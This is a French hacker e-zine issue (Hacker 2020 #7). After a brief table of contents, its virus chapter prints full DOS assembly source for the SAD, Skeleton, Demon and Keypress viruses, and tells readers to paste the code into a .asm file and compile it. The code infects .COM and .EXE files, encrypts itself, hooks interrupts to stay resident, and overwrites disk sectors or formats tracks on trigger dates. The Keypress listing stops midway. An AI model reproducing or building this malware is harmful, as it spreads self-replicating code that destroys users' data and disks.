HACKER 2020
issue #7, par Clad Strife

Introduction: Qu'est-ce que nous avons de bon au sommaire de ce numéro... De la doc sur les virii, de la doc sur les serveurs, pis un article sur Hunt, un sujet pas mal intéressant sur caramail, et on va parler de certains organismes gouvernementaux (le gouvernement, encore et toujours, omniprésent...), mais pas mal de récapitulation de ce qu'il y a a savoir sur les sniffers. Je vous rappelle l'adresse officiel du site: http://www.multimania.com/hackworldclan tant que ça reste visitable (Multimania n'a pas l'aire d'apprécier ce site).

Sommaire:

1. Virus / partie 1
2. Hunt / partie 1
3. Interview / partie 2
4. Hacker un compte Multimania (ou autres) / partie 2
5. PGP / partie 2
6. Attaques NT / partie2
7. Caramail / partie 2 (par ACiD BuRN)

Bizarre, je n'aurais jamais fait un Hacker 2020 avec quelqu'un dautre. Si ça plait on pourra remettre ça.

Chapitre 1: Virus

J'ai dressé une liste de quelques virus dont il est important de connaitre les fonctionnalités. Je donnerais aussi des codes sources de virus en assembleur. Bah et si on commençait par les codes sources, pour être sur de bien pouvoir les compiler: transposez les en txt avec Bloc-Notes en copiant collant, et renommez le .txt en .asm puis compilez:

SAD virus:

;
; ---- Data Segment Values ----
; ds:[0f6h] = read buffer location
; ds:[0f8h] = write buffer location
; ds:[0fah] = store length of virus at this location
; ds:[0fch] = store length of file to be infected at this location
; ds:[0feh] = filename of file to infect
;

.model tiny
.code
org 100h ; origin for .com files
start:

nop ; these two nop instructs will be used by 'Nasty'
nop ; to determine if a file is already infected

;******
;get date
;******
mov ah,2ah ; get the date
int 21h ; do it
cmp dh,09h ; is it September?
jnz do_not_activate ; if NO jmp do_not_activate
;****
;the nasty bit
;****
;*
;* 1. Print message
;*
lea dx,mess ; print message
mov ah,09 ; 'Nasty in September'
int 21h ; do it
;****
;* 2. Destroy disk
;****
mov ah,19h ; get current drive (returned in al)
int 21h ; do it
mov dl,al ; dl = drive # to be formated
mov ah,05 ; disk format function
mov cl,01 ; first sector
mov ch,00 ; first track
mov dh,00 ; head zero
mov al,10h ; 10h (16) sectors - 2 tracks
int 13h ; do it (overwrite first 16 tracks on currently
; selected disc)

do_not_activate:
mov cx,80h ; save parameters; set counter to 80h bytes
mov si,0080h ; offset in the current data segment of the byte
; to be copied
mov di,0ff7fh ; offset to which byte is to be moved
rep movsb ; move bytes until cx=0 (decrement cx by 1 each time
; loop is performed is done automatically)
; (increment by 1 of si & di is done automatically)

lea ax,begp ; load exit from program offset address into ax
mov cx,ax ; " " " " " " " cx
sub ax,100h ; subtract start of .com file address (100h) from ax
; ax now contains the length of the virus

mov ds:[0fah],ax ; put length of the virus into the data segment at
; offset 0fah
add cx,fso ; add fso (5h) to cx (offset address of exit)
; so, cx=cx+5
mov ds:[0f8h],cx ; move cx (end of virus + 5) into data segment at
; offset 0f8h. ** Start of the write buffer.
ADD CX,AX ; add virus length (ax) to cx ?????
mov ds:[0f6h],cx ; mov cx into data segment at offset 0f6h.
; ** Start of the read buffer
mov cx,ax ; mov length of virus into cx
lea si,start ; load address of 'start' (start of virus) into
; souce index
mov di,ds:[0f8h] ; mov the value of the write buffer (@ 0f8h) into
; destination index

rb: ; cx = counter (length of virus)
; si = offset of byte to be read
; di = offset of where to write byte to
; (auto decrement of cx & increment of si & di)
rep movsb ; copy the virus into memory

stc ; set the carry flag

lea dx,file_type_to_infect ; set infector for .com files only
mov ah,4eh ; find first file with specified params
mov cx,20h ; files with archive bit set
int 21h ; do it
; if file found, CF is cleared, else
; CF is set

or ax,ax ; works the below instructions (jz & jmp)
jz file_found ; if file found jmp file_found
jmp done ; if no file found, jmp done (exit virus)

file_found:
mov ah,2fh ; get dta (returned in es:bx)
int 21h ; do it

mov ax,es:[bx+1ah] ; mov size of file to be infected into ax
mov ds:[0fch],ax ; mov filesize into ds:[0fch]
add bx,1eh ; bx now points to asciz filename
mov ds:[0feh],bx ; mov filename into ds:[0feh]
clc ; clear carry flag

mov ax,3d02h ; open file for r/w (ds:dx -> asciz filename)
mov dx,bx ; mov filename into dx
int 21h ; do it (ax contains file handle)

mov bx,ax ; mov file handle into bx

mov ax,5700h ; get time & date attribs from file to infect
int 21h ; do it (file handle in bx)
push cx ; save time to the stack
push dx ; save date to the stack

mov ah,3fh ; read from file to be infected
mov cx,ds:[0fch] ; number of bytes to be read (filesize of file to
; be infected
mov dx,ds:[0f6h] ; buffer (where to read bytes to)
int 21h ; do it

mov bx,dx ; mov buffer location to bx
mov ax,[bx] ; mov contents of bx (first two bytes - as bx is
; 16-bits) into ax.

; Now check to see if file is infected... if the
; file is infected, it's first two bytes will be
; 9090h (nop nop)

sub ax,9090h ; If file is already infected, zero flag will be set
; thus jump to fin(ish)
jz fin

mov ax,ds:[0fch] ; mov filesize of file to be infected into ax
mov bx,ds:[0f6h] ; mov where-to-read-to buffer into bx

mov [bx-2],ax ; correct old len

mov ah,3ch ; Create file with handle
mov cx,00h ; cx=attribs -- set no attributes
mov dx,ds:[0feh] ; point to name
clc ; clear carry flag
int 21h ; create file
; Note: If filename already exists, (which it does)
; truncate the filelength to zero - this is ok as
; we have already copied the file to be infected
; into memory.

mov bx,ax ; mov file handle into bx
mov ah,40h ; write file with handle (write to the file to be
; infected) - length currently zero
; cx=number of bytes to write
mov cx,ds:[0fch] ; length of file to be infected
add cx,ds:[0fah] ; length of virus
mov DX,ds:[0f8h] ; location of write buffer (this contains the virus
; + the file to be infected)
int 21h ; write file
; new file = virus + file to be infected

mov ax,5701h ; restore original time & date values
pop dx ; get old date from the stack
pop cx ; get old time from the stack
int 21h ; do it
; Note: Infected file will now carry the time & date
; it had before the infection.

mov ah,3eh ; close file (bx=file handle)
int 21h ; do it
; Note: date & time stamps automatically updated if
; file written to.

fin:
stc ; set carry flags
mov ah,4fh ; find next file (.com)
int 21h ; do it
or ax,ax ; decides zero flag outcome
jnz done ; if no more .com files, jmp done
JMP file_found ; else begin re-infection process for new file.

done:
mov cx,80h ; set counter (cx) = 80h
mov si,0ff7fh ; source offset address (copy from here)
mov di,0080h ; destination offset address (copy to here)
rep movsb ; copy bytes! (cx is auto decremented by 1
; si & di are auto incremented by 1)
; Note: this is a 'restore parameters' feature
; this does the reverse of what what done earlier
; in the program (do_not_activate:)

mov ax,0a4f3h ;
mov ds:[0fff9h],ax ;
mov al,0eah ;
mov ds:[0fffbh],al ; reset data segment locations ??? (to previous
mov ax,100h ; values before virus infection)
mov ds:[0fffch],ax ;
lea si,begp ; load exit from program offset address into si
lea di,start ; load offset address of start of virus into di
mov ax,cs
mov ds:[0fffeh],ax ; re-align cs = ds ???
mov kk,ax
mov cx,fso

db 0eah ; define byte
dw 0fff9h ; define word
kk dw 0000h ; define kk = word

mess db 'Sad virus - 24/8/91',13,10,'$' ; virus message to display

file_type_to_infect db '*?.com',0 ; infect only .com files.

fso dw 0005h ; store 5 into 'fso'. dw means that fso is 2 bytes
; in size (a word)
; ----- alma mater

begp:
mov ax,4c00h ; normal dos termination (set al to 00)
int 21h ; do it

end start

Skeleton virus:

; target.asm : [Skeleton] by Deke
; Created wik the Phalcon/Skism Mass-Produced Code Generator
; from the configuration file skeleton.cfg

.model tiny ; Handy directive
.code ; Virus code segment
org 100h ; COM file starting IP

id = 'DA' ; ID word for EXE infections
entry_point: db 0e9h,0,0 ; jmp decrypt

startvirus:
decrypt: ; handles encryption and decryption
patch_startencrypt:
mov bp,offset startencrypt ; start of decryption
mov ax,(offset heap - offset startencrypt)/2 ; iterations
decrypt_loop:
db 2eh,81h,76h,0 ; xor word ptr cs:[bp], xxxx
decrypt_value dw 0 ; initialised at zero for null effect
inc bp ; calculate new decryption location
inc bp
dec ax ; If we are not done, then
jnz decrypt_loop ; decrypt mo'
startencrypt:
call next ; calculate delta offset
next: pop bp ; bp = IP next
sub bp,offset next ; bp = delta offset

cmp sp,id ; COM or EXE?
je restoreEXE
restoreCOM:
lea si,[bp+offset save3]
mov di,100h
push di ; For later return
movsb
jmp short restoreEXIT
restoreEXE:
push ds
push es
push cs ; DS = CS
pop ds
push cs ; ES = CS
pop es
lea si,[bp+offset oldCSIP2]
lea di,[bp+offset oldCSIP]
movsw
movsw
movsw
restoreEXIT:
movsw

mov byte ptr [bp+numinfec],3 ; reset infection counter

mov ah,1Ah ; Set new DTA
lea dx,[bp+offset newDTA] ; new DTA @ DS:DX
int 21h

lea dx,[bp+offset exe_mask]
call infect_mask
lea dx,[bp+offset com_mask]
call infect_mask

done_infections:
mov ah,1ah ; restore DTA to default
mov dx,80h ; DTA in PSP
cmp sp,id-4 ; EXE or COM?
jz returnEXE
returnCOM:
int 21h
retn ; 100h is on stack
returnEXE:
pop es
pop ds
int 21h
mov ax,es ; AX = PSP segment
add ax,10h ; Adjust for PSP
add word ptr cs:[bp+oldCSIP+2],ax
add ax,word ptr cs:[bp+oldSSSP+2]
cli ; Clear intrpts for stack manipulation
mov sp,word ptr cs:[bp+oldSSSP]
mov ss,ax
sti
db 0eah ; jmp ssss:oooo
oldCSIP db ? ; Original CS:IP (4 bytes)
save3 db 0cdh,20h,0 ; First 3 bytes of COM file
oldSSSP dd ? ; Original SS:SP
oldCSIP2 dd ?
oldSSSP2 dd ?

creator db '[MPC]',0 ; Mass Produced Code Generator
virus db '[Skeleton]',0
author db 'Deke',0

infect_mask:
mov ah,4eh ; find first file
mov cx,7 ; any attribute
findfirstnext:
int 21h ; DS:DX points to mask
jc exit_infect_mask ; No mo files found

xor cx,cx ; Clear attributes
call attributes ; Set file attributes

mov ax,3d02h ; Open read/write
int 21h
xchg ax,bx

mov ah,3fh ; Read file to buffer
lea dx,[bp+offset buffer] ; @ DS:DX
mov cx,1Ah ; 1Ah bytes
int 21h

mov ax,4202h ; Go to end of file
xor cx,cx
cwd
int 21h

cmp word ptr [bp+buffer],'ZM'; EXE?
jz checkEXE ; Why yes, yes it is!
checkCOM:
mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
cmp ax,65535-(endheap-decrypt) ; Is it too large?
ja find_next

mov cx,word ptr [bp+buffer+1]; get jmp location
add cx,heap-startvirus+3 ; Adjust for virus size
cmp ax,cx ; Already infected?
je find_next
jmp infect_com
checkEXE:
cmp word ptr [bp+buffer+10h],id ; is it already infected?
jnz infect_exe
done_file:
mov ax,5701h ; Restore creation date/time
mov cx,word ptr [bp+newDTA+16h] ; time
mov dx,word ptr [bp+newDTA+18h] ; date
int 21h

mov ah,3eh ; Close file
int 21h

mov ch,0
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
call attributes ; attributes

cmp byte ptr [bp+numinfec], 0; Enough infections?
jnz find_next
pop ax ; remove call from stack
jmp done_infections

find_next:
mov ah,4fh ; find next file
jmp short findfirstnext
exit_infect_mask: ret

infect_exe:
mov cx, 1ah
push cx
push bx ; Save file handle
les ax,dword ptr [bp+buffer+14h] ; Save old entry point
mov word ptr [bp+oldCSIP2], ax
mov word ptr [bp+oldCSIP2+2], es

les ax,dword ptr [bp+buffer+0Eh] ; Save old stack
mov word ptr [bp+oldSSSP2],es
mov word ptr [bp+oldSSSP2+2],ax

mov ax,word ptr [bp+buffer+8]; Get header size
mov cl, 4 ; convert to bytes
shl ax, cl
xchg ax, bx

les ax,dword ptr [bp+newDTA+26] ; Get file size
mov dx, es ; to DX:AX
push ax
push dx

sub ax, bx ; Subtract header size from
sbb dx, 0 ; file size

mov cx, 10h ; Convert to segment:offset
div cx ; form

mov word ptr [bp+buffer+14h], dx ; New entry point
mov word ptr [bp+buffer+16h], ax

mov word ptr [bp+buffer+0Eh], ax ; and stack
mov word ptr [bp+buffer+10h], id

pop dx ; get file length
pop ax
pop bx ; Restore file handle

add ax, heap-startvirus ; add virus size
adc dx, 0

mov cl, 9
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 1 ; mod 512

mov word ptr [bp+buffer+4], dx ; new file size
mov word ptr [bp+buffer+2], ax

push cs ; restore ES
pop es

mov ax,word ptr [bp+buffer+14h] ; needed later
jmp short finishinfection
infect_com: ; ax = filesize
mov cx,3
push cx
sub ax,cx
lea si,[bp+offset buffer]
lea di,[bp+offset save3]
movsw
movsb
mov byte ptr [si-3],0e9h
mov word ptr [si-2],ax
add ax,103h
finishinfection:
add ax,offset startencrypt-offset decrypt
push ax

mov ah,2ch ; Get current time
int 21h ; dh=sec,dl=1/100 sec
mov [bp+decrypt_value],dx ; Set new encryption value
lea di,[bp+offset codestore]
mov al,55h ; push bp
stosb
lea si,[bp+offset decrypt] ; Copy encryption function
mov cx,startencrypt-decrypt ; Bytes to move
push si ; Save for later use
push cx
rep movsb

lea si,[bp+offset write] ; Copy writing function
mov cx,endwrite-write ; Bytes to move
rep movsb
pop cx
pop si
pop ax
push di
push si
push cx
rep movsb ; Copy decryption function

mov word ptr [bp+patch_startencrypt+1],ax

mov al,5dh ; pop bx
stosb
mov al,0c3h ; retn
stosb

call codestore ; decryption
pop cx
pop di
pop si
rep movsb ; Restore decryption function

mov ax,4200h ; Move file pointer
xor cx,cx ; to beginning of file
cwd ; xor dx,dx
int 21h

mov ah,40h ; Write to file
lea dx,[bp+offset buffer] ; Write from buffer
pop cx ; cx bytes
int 21h

dec byte ptr [bp+numinfec] ; One mo infection
jmp done_file

attributes:
mov ax,4301h ; Set attributes to cx
lea dx,[bp+offset newDTA+30] ; filename in DTA
int 21h
ret

write:
pop bp ; Restore relativeness
mov ah,40h ; Write to file
lea dx,[bp+offset decrypt] ; Concatenate virus
mov cx,heap-decrypt ; # bytes to write
int 21h
push bp
endwrite:

exe_mask db '*.exe',0
com_mask db '*.com',0
heap: ; Variables not in code
; The following code is the buffer for the write function
codestore:db (startencrypt-decrypt)*2+(endwrite-write)+3 dup (?)
newDTA db 43 dup (?) ; Temporary DTA
numinfec db ? ; Infections this run
buffer db 1ah dup (?) ; read buffer
endheap: ; End of virus
end entry_point

Demon Virus:

;========== Demon virus ==================================== 22.09.91 ========
;
; Assemble and link with: TASM DEMON.VIR
; TLINK DEMON /X/T
; Infect all .COM programs in current directory with: DEMON
;
; !!! NOT ON A TUESDAY !!!
;
;-------------- Constants and structures

Tuesday = 2 ; INT 21h, AH=2Ah

Search_Rec struc ; directory search record
db 21 dup (?) ; reserved for DOS
FileAttr db ? ; file attribute
FileTime dw ? ; packed file time
FileDate dw ? ; packed file date
FileSize dd ? ; long file size
FileName db 13 dup (?) ; ASCIIZ FILENAME.EXT
Search_Rec ends

;-------------- Demon virus segment

Virus segment
assume cs:Virus,ds:Virus,es:Virus,ss:Virus

org 0080h
DTA Search_Rec <> ; disk transfer area

org 0100h
Demon: ; virus entry point
Virus_Size = Virus_End - Demon ; virus size = 272 bytes

mov dx,offset All_COM ; find first .COM file,
mov ah,4eh ; including hidden/system
mov cx,110bh
int 21h
nop
jnc Infect ; abort if no files found
jmp short Check_Day
Infect: call Replicate ; overwrite first 272 bytes
mov dx,offset DTA
mov ah,4fh ; find next .COM file,
int 21h ; go check day if none found
nop ; else repeat
jnc Next_File
jmp short Check_Day
Next_File: jmp Infect
Check_Day: mov ah,2ah ; get DOS date, check day
int 21h
cmp al,Tuesday ; Tuesday ?
je Thrash_Drive ; if yes, thrash drive C:
mov ah,4ch ; else exit to DOS
int 21h

Thrash_Drive: mov Counter,0 ; overwrite first 160 sectors
jmp Write_Sectors ; of drive C: with garbage
Write_Sectors: mov al,Drive_C ; Error: doesn't work !
mov cx,160 ; AL=C:, CX=160 sectors
mov dx,0 ; DX=highest sector in drive !
mov bx,0 ; DS:BX=start of PSP area
int 26h ; overwrite sectors
inc Counter
cmp Counter,10 ; repeat 10 times
je Show_Msg
jne Write_Sectors
Show_Msg: mov ah,09h ; show a fake error message
mov dx,offset Virus_Msg ; and exit to DOS
int 21h
mov ah,4ch
int 21h

Replicate: mov dx,offset DTA.FileName ; save file attribute
mov ax,4300h
int 21h
mov COM_Attr,cx
nop
xor cx,cx ; unprotect the .COM file
mov ax,4301h ; in case it's read-only
int 21h
nop
mov ax,3d02h ; open .COM file for R/W,
int 21h ; abort on error
nop
jc Check_Day
mov bx,ax ; BX = file handle
mov ax,5700h
int 21h ; save file date and time
nop
mov COM_Time,cx
mov COM_Date,dx
mov dx,offset Demon ; overwrite first 272 bytes
mov ah,40h ; of .COM program file
mov cx,Virus_Size ; with the virus code
int 21h
nop
mov ax,5701h ; restore file date and time
mov dx,COM_Date
mov cx,COM_Time
int 21h
mov ah,3eh ; close the file
int 21h
nop
mov dx,offset DTA.FileName ; restore file attribute
mov cx,COM_Attr
mov ax,4301h
int 21h
retn

All_COM db '*.COM',0 ; dir search specification
COM_Date dw 0 ; packed .COM program date
COM_Time dw 0 ; packed .COM program time
COM_Attr dw 0 ; .COM program file attribute
Counter db 0 ; used when thrashing drive C:
Drive_C db 2 ; INT 26h C: drive number
dw 0
Copyright db 'Demonhyak Viri X.X (c) by Cracker Jack 1991 (IVRL)'
dw 0
Virus_Msg db 10,13,'Error eating drive C:',10,13,'$'

Virus_End label byte ; virus code+data end

Virus ends
end Demon

Keypress Virus:

;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
;********************************************************
; Source code of the Keypress Virus - Made by XSTC
; Made in A86 v3.07
;
; The Keypress Virus installs itself in top of DOS
; memory, without using DOS resident functions. It will
; hook int 1Ch (timer) and 21h (DOS) and will copy every
; 10 minutes during 2 seconds the keys you press five
; times (so if you press '1' it will be '111111') - if
; you press no key, it will usually give ESCs.
;
; In DOS 3+ it spreads to every file executed - so it
; can, besides COM/EXE, infect DRV/OVL/etc.
; It also spreads itself in DOS 1 and 2 with a special
; routine - in this case only COM/EXE files will be
; infected.
;
; It adds, after making full paragraphs of the file
; length, 1232 bytes to COM-files and 1216 to EXE.
;
; This code is only made to show the possibilities and
; dangers of a virus. It is only intended for research
; purposes - spreading a virus is prohibited by law.
;
; NOTE - The compiled code is not 100% compatible with
; the Keypress virus. A86 compiles the 'ADD BX,AX' and
; 'MOV DI,SI' different. This has totally no effect
; on the program.
;********************************************************

; After compiling the new virus, enter the new size in paragraphs in VirParSize
; and compile again.

VirParSize equ 4Ch ; Size of the original KeyPress virus

VirStart: jmp long VirBegin
db 0

ComStart: mov bx,cs ; When the virus has infected a .COM file,
add bx,[102h] ; this is the jump to the virus. Actually,
push bx ; this code is overwritten with the code
mov bx,offset VirBegin ; in the end of the virus.
push bx
retf

EB02 dw 02EBh ; 'jmp 104' - first 2 bytes in .COM file

VirSize dw VirParSize shl 4 ; Size of virus in whole pars

VirPars dw VirParSize + 1 ; Size of virus in pars+1

MaxComSize dw 0FF00h-VirParSize ; Max. size .COM file to infect (100h stack)

Com_or_exe db 00h ; 0 = Com-File, 1 = Exe-File
R_Ax dw (?)
R_Bx dw (?)
R_Cx dw (?)
R_Dx dw (?)
R_Di dw (?)
R_Si dw (?)
R_Bp dw (?)
R_Es dw (?)
R_Ds dw (?)
R_SS dw (?)
R_SP dw (?)

Exe_CS dw (?)
Exe_IP dw (?)

VirBegin: call Save_Regs ; Start of virus
call Fix_cs_ss ; Fix CS and SS of orig. prog (for .EXE files)
call Get_cs_ip ; Get CS and IP of original prog
call Check_res ; Check virus already resident
jb Exit_inst ; Yes, quit

call Inst_mem ; Install in memory
jb Exit_inst ; Error, quit

call Inst_ints ; Hook interrupts
Exit_Inst: jmp short Rst_regs_prg
nop

Jmp_Prg: db 0EAh ; Jump to original program
PrgOfs dw (?)
PrgSeg dw (?)

Check_res: push ds
xor bx,bx
mov ds,bx
mov bx,600h ; Unused word in memory
cmp word ptr [bx],1 ; Already installed?
jz Installed ; Yes

mov word ptr [bx],1 ; No
stc

Installed: cmc
pop ds
ret

;*** For .EXE: Fix orig-prog CS and SS ***

Fix_cs_ss: test byte ptr [Com_or_exe],1
jz no_exe

mov ax,es
add ax,10h
add Exe_cs,ax
add R_ss,ax

No_Exe: ret

;*** Get CS + IP of orig. program, and for .COM: Restore first 16 bytes ***

Get_cs_ip: mov ax,[Exe_cs]
mov bx,[Exe_ip]
test byte ptr [Com_or_exe],1
jnz No_rest ; .EXE file: no restore of first bytes

mov ax,es
mov bx,100h
mov cx,10h
mov si,offset First_bytes
mov di,100h
cld
repz ; Restore first 16 bytes (.COM file)
movsb

No_rest: mov [Prgseg],ax
mov [Prgofs],bx
ret

;*** Proc: Save the registers to restore them after the virus has ended ***

Save_Regs: mov cs:R_ds,ds
push cs
pop ds
mov R_ax,ax
mov R_bx,bx
mov R_cx,cx
mov R_dx,dx
mov R_di,di
mov R_si,si
mov R_bp,bp
mov R_es,es
ret

;*** Restore regs for original program ***

Rst_regs_prg: mov ax,R_ax
mov bx,R_bx
mov cx,R_cx
mov dx,R_dx
mov bp,R_bp
mov di,R_di
mov si,R_si
mov es,R_es
test byte ptr [Com_or_exe],1
jz No_StackRest ; No stack restore for .COM files

cli
mov ss,[R_ss] ; Restore .EXE stack
mov sp,[R_sp]
sti

No_StackRest: mov ds,R_ds
jmp short jmp_prg

;*** Restore regs for interrupts ***

Rst_regs_int: mov ax,R_ax
mov bx,R_bx
mov cx,R_cx
mov dx,R_dx
mov bp,R_bp
mov di,R_di
mov si,R_si
mov es,R_es
mov ds,R_ds
ret

;*** Proc: Search for last MCB ***

Last_MCB: push ds
mov bx,es
dec bx

Next_MCB: mov ds,bx
cmp byte ptr [0],5Ah ; Last MCB?
jz Is_last ; Yes
inc bx
add bx,[3] ; Go to next
cmp bx,0A000h ; In ROM?
jb Next_MCB ; No, try next one

Is_Last: pop ds
ret

;*** Proc: Install virus in end of memory ***

Inst_Mem: call Last_mcb ; Search last MCB
cmp bx,0A000h ; In ROM?
jb Not_ROM ; No, continue

No_Inst: push cs ; Yes, quit
pop ds
stc ; Error, virus not installed
ret

Not_ROM: mov ds,bx
mov ax,[3] ; AX = Size last MCB
sub ax,cs:[VirPars] ; - (Virussize in pars+1)
jbe no_inst ; Not enough memory, quit
cmp ax,800h
jb no_inst ; Less than 2048 pars free, quit
mov [3],ax ; Give program less space to install virus
add bx,ax
inc bx ; BX = seg where virus comes
mov es:[2],bx ; Enter in PSP, program not allowed there
sub bx,10h ; - 10h pars (virus starts at 100h)
push bx
push cs
pop ds
pop es
mov si,100h
mov di,si
mov cx,[VirSize] ; CX = virussize
cld
repz ; Copy virus to virus-segment
movsb
clc ; No error, virus installed
ret

;*** Install new interrupts (1C - Timer Tick, 21 - DOS) ***

Inst_Ints: push es
pop ds
mov word ptr [Ticks],0
mov ax,351Ch ; Get Addr Timer Tick
int 21h
mov I1c_ofs,bx
mov I1c_seg,es
mov ax,3521h ; Get Addr DOS-Int
int 21h
mov I21_ofs,bx
mov I21_seg,es
mov ax,251Ch
mov dx,offset New_I1c
int 21h ; Install New Timer-Tick Int
mov dx,offset I21_dos12
push dx
mov ah,30h ; Get DOS-Version
int 21h
pop dx
cmp al,3 ; Below 3.0?
jb DosBel3
mov dx,offset new_I21 ; No, new int
DosBel3: mov ax,2521h ; Install new DOS-Int
int 21h
push cs
pop ds
ret

;*** Proc: NEW 1C (TIMER TICK) INTERRUPT ***
; Every 10 minutes this routine sends during 2 sec. 180 extra keys to the
; keyboard-interrupt.

Ticks dw (?)

New_I1c: inc word ptr cs:[Ticks] ; Increment 'Ticks after virus loaded'
cmp word ptr cs:[Ticks],2A30h ; 10 minutes passed?
jb org_I1c ; No, go to orig. I1c
cmp word ptr cs:[Ticks],2A54h ; 2 sec. passed?
jbe screw_keys ; Not yet, give ESCs
mov word ptr cs:[Ticks],0 ; Time-counter to 0
jmp short Org_I1c ; Go to orig. I1c
Screw_Keys: push cx
mov cx,5 ; 5 times / tick
Put_Key: int 9 ; Give extra key
loop Put_key
pop cx
Org_I1c: db 0EAh ; Jump far to orig. I1c
I1c_Ofs dw (?)
I1c_Seg dw (?)

New_I24: mov al,0

New_I23: iret

I23_Ofs dw (?)
I23_Seg dw (?)

I24_Ofs dw (?)
I24_Seg dw (?)

ProgSize dw (?) ; Program size in paragraphs

New_I21: cmp ax,4B00h ; New DOS Int for DOS 3 +
jz Is_Start
jmp far dword ptr cs:[I21_Ofs] ; Jmp orig. I 21
Is_Start: call Save_Regs
call InstCritInt ; Install new ^c and crit. err. int
mov ax,3D02h ; Open file for read and write
mov ds,R_Ds
int 21h
push cs
pop ds
jc Close_File
mov bx,ax
call Read_header
jc Close_File
call Write_virus
jc Close_File
call Write_header
Close_File: mov ah,3Eh ; Close file
int 21h
call RestCritInt ; Restore ^c and crit-err ints
call Rst_regs_int
jmp far dword ptr cs:[I21_Ofs]

I21_Dos12: cmp ah,3Dh ; New DOS-Int for DOS 1.x and 2.x
jz Is_Open

JmpDos: db 0EAh ; Jump Far
I21_Ofs dw (?)
I21_Seg dw (?)

Is_Open: push ax ; Network-flags?
and al,0FCh
pop ax
jnz JmpDos ; Yes -> DOS

call Save_Regs

call InstCritInt ; Install new ^c and crit. err. int

mov DS,R_Ds
or al,2 ; Write access
pushf
cli
call far cs:[I21_Ofs] ; Open file
push cs
pop ds
jc Open_Error ; Error opening -> DOS

pushf
mov [R_Ax],ax ; Save handle
mov bx,ax

call Chk_Inf ; Check infection is possible
jc No_Infect ; No -> quit

call Read_header
jc No_Infect

call Write_virus
jc No_Infect
call Write_header
No_Infect: call Go_file_beg ; Go to begin of file
call RestCritInt ; Restore ^c and crit-err ints
call Rst_regs_int
popf
retf 2
Open_Error: call RestCritInt ; Restore ^c and crit-err ints
call Rst_regs_int
jmp short JmpDos

;*** Proc: Buffer for header of program to infect ***

Head_buf dw 0Ch dup (?)

;*** Proc: Install new ^C and crit. err. interrupt ***

InstCritInt: push ax
push bx
push dx
push ds
push es
push cs
pop ds
mov ax,3523h ; Get Ctrl-Break Int Addr
int 21h
mov I23_Ofs,bx
mov I23_Seg,es
mov ax,3524h ; Get Crit. Err Int Addr
int 21h
mov I24_Ofs,bx
mov I24_Seg,es
mov ax,2523h
mov dx,offset New_I23 ; Install new Ctrl-Break Int
int 21h
mov ax,2524h ; Install new Crit. Err Int
mov dx,offset New_I24
int 21h
pop es
pop ds
pop dx
pop bx
pop ax
ret

;*** Proc: Restore orig. ctrl-break and crit. err. interrupt ***

RestCritInt: mov ax,2524h ; Rest. orig. crit. err int
lds dx,dword ptr cs:[I24_Ofs]
int 21h
mov ax,2523h ; Rest. orig. ctrl-break int
lds dx,dword ptr cs:[I23_Ofs]
int 21h
push cs
pop ds
ret

;*** Read header of file ***

Read_header: mov ah,3Fh
mov dx,offset Head_buf
mov cx,18h
int 21h
jc HeadRead_Err ; Error reading, don't infect

call Check_infect ; Check file already infected; if not, save data
jc HeadRead_Err ; Error, quit

call Calc_data ; Calculate data for infected file
jc HeadRead_Err ; Error, quit

HeadRead_Err: ret

;*** Proc: Write virus, and for .COM files, write first 16 bytes behind virus ***

Write_virus: mov ah,40h ; Write virus behind program
mov cx,[VirSize]
mov dx,100h
int 21h
jc Err_Writ ; Write error, quit
cmp ax,cx
jnz Err_Writ ; ' ' ' ' ' '
test byte ptr [Com_or_exe],1
jz First_Write
ret

First_Write: mov ah,40h ; Write orig. 1st 16 bytes behind virus
mov cx,10h
mov dx,offset Head_buf
int 21h
jc Err_Writ ; Write error, quit
cmp ax,cx
jnz Err_Writ ; ' ' ' ' ' '
clc ; End procedure, no error
ret

Err_Writ: stc ; End procedure, error
ret

;*** Proc: .COM: Write jump-to-virus, .EXE: Write header ***

Write_header: call Go_file_beg ; Go to begin of file
test byte ptr [Com_or_exe],1 ; .EXE-file?
jnz Exe_header
mov ah,40h ; .COM file - Write 'EB 02'
mov cx,2
mov dx,offset EB02
int 21h
mov ah,40h ; Write program-size in pars
mov cx,2
mov dx,offset ProgSize
int 21h
mov ah,40h ; Write rest of begin of virus
mov cx,0Ch
mov dx,104h
int 21h
ret

Exe_header: mov ah,40h ; Write in File
mov cx,18h
mov dx,offset Head_buf
int 21h
ret

;*** Proc: Change file pointer ***

Cng_file_ptr: mov ax,4200h
int 21h
ret

;*** Proc: Go to begin of file ***

Go_file_beg: xor cx,cx ; Filepointer = 0
xor dx,dx
call Cng_file_ptr ; Change File Pointer
ret

;*** Proc: Check file is already infected ***

Check_infect: mov si,104h
mov di,offset Head_buf+4
push cs
pop es
mov byte ptr [Com_or_exe],0 ; Flag for .COM
cmp word ptr [di-04],5A4Dh ; Is .EXE?
jz Is_Exe
mov cx,0Ch ; No, .COM file
cld
repz ; Already infected?
cmpsb
jnz Do_Infect ; Not yet
Dont_Infect: stc
ret
Do_Infect: clc
ret
Is_Exe: mov byte ptr [Com_or_exe],1 ; Flag for .EXE
mov cx,[offset Head_buf+14h] ; cx = Prog-IP
cmp cx,offset VirBegin ; Same as Vir-IP?
jz Dont_Infect ; Yes, quit
cmp word ptr [offset Head_buf+0Ch],0 ; Max extra pars=0?
jz Dont_Infect ; Yes, quit
mov [Exe_ip],cx ; Save prog-IP
mov cx,[Head_buf+16h]
mov [Exe_cs],cx ; Save prog-cs
mov cx,[Head_buf+0Eh]
mov [R_ss],cx ; Save prog-SS
mov cx,[Head_buf+10h]
mov [R_sp],cx ; Save prog-SP
jmp short Do_Infect

